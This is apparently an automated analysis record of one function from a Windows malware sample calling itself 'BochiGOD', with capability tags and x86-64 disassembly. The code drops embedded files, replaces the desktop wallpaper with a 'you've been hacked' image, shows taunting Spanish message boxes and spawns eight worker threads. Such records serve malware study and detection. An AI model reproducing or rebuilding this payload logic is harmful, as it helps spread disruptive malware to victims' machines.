Function at 0x140012420
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
push r13
mov eax, 0x7d6d8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000c080
lea rsi, [0x1400891fc]
sub rsp, rax
call fcn.14000b190
xor ecx, ecx
lea rdi, [rsp + 0x23a]
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call sub.msvcrt.dll_srand
lea rcx, str.USERPROFILE
call sub.msvcrt.dll_getenv
mov ecx, 0x8b9a
lea rdx, [0x140089055]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140089058]
mov r13, rax
call sub.msvcrt.dll_fopen
test rax, rax
je 0x14001271a
mov r12, rax
lea rsi, [rsp + 0x23a]
lea rbx, [rsp + 0x8dd4]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rbx
jne 0x14001249e
mov rcx, r12
lea rdi, [rsp + 0x3b692]
lea rsi, [0x140013020]
call sub.msvcrt.dll_fclose
xor edx, edx
mov r9d, 1
lea r8, str.C:WindowsTempBochi_te_hackeo.jpg
mov ecx, 0x14
lea rbp, [rsp + 0x3b692]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, 0x4203e
lea rdx, [0x140089055]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400890c4]
call sub.msvcrt.dll_fopen
test rax, rax
mov r12, rax
je 0x14001271a
mov rsi, rbp
lea rdi, [rsp + 0x7d6d0]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rdi
jne 0x140012526
mov rcx, r12
lea rsi, [0x140055060]
mov rdi, rbx
call sub.msvcrt.dll_fclose
mov ecx, 0x328be
lea rdx, [0x140089055]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400890e4]
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x14001271a
mov rcx, rbx
mov r9, r12
mov edx, 1
inc rbx
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rbx, rbp
jne 0x14001257c
mov rcx, r12
lea r12, [rsp + 0x139]
lea rdi, [rsp + 0x91]
call sub.msvcrt.dll_fclose
lea rdx, [rsp + 0x2c]
mov rcx, r12
mov dword [rsp + 0x2c], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r10, [rsp + 0x71]
mov ecx, 0x2a
movabs rax, 0x6f6e207574206553
movabs rdx, 0x3a7365206572626d
mov qword [rsp + 0x71], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r10
mov qword [rsp + 0x79], rdx
mov rdx, r12
mov qword [rsp + 0x81], 0x20
mov qword [rsp + 0x89], 0
call sub.msvcrt.dll_strcat
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
mov rdx, rax
call rbx
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.Como_vez_bro_estas_jodido_ejecutar_esto_fue_lo_peor_que_pudistes_hacer
call rbx
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Ya_no_hay_vuelta_atras
call rbx
mov rcx, r13
call fcn.140012220
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8, [0x140011ed0]
call fcn.140006bf0
test eax, eax
je 0x14001269a
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_4_primeros_hilos
jmp 0x140012716
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x38]
lea r8, [0x140011fe0]
call fcn.140006bf0
test eax, eax
jne 0x140012684
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8, [0x140012130]
call fcn.140006bf0
test eax, eax
jne 0x140012684
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x48]
lea r8, [0x140011cd0]
call fcn.140006bf0
test eax, eax
jne 0x140012684
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8, [0x140011d60]
call fcn.140006bf0
test eax, eax
je 0x140012725
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_ultimos_4_hilos
xor ecx, ecx
call rbx
mov r12d, 1
jmp 0x1400127d6
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8, [0x140011e20]
call fcn.140006bf0
test eax, eax
jne 0x140012702
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x60]
lea r8, [0x1400120b0]
call fcn.140006bf0
test eax, eax
jne 0x140012702
lea rcx, [rsp + 0x68]
xor r9d, r9d
lea r8, [0x140011f40]
xor edx, edx
call fcn.140006bf0
mov r12d, eax
test eax, eax
jne 0x140012702
mov rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x40]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x48]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x50]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x60]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call fcn.140006eb0
add rsp, 0x7d6d8
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret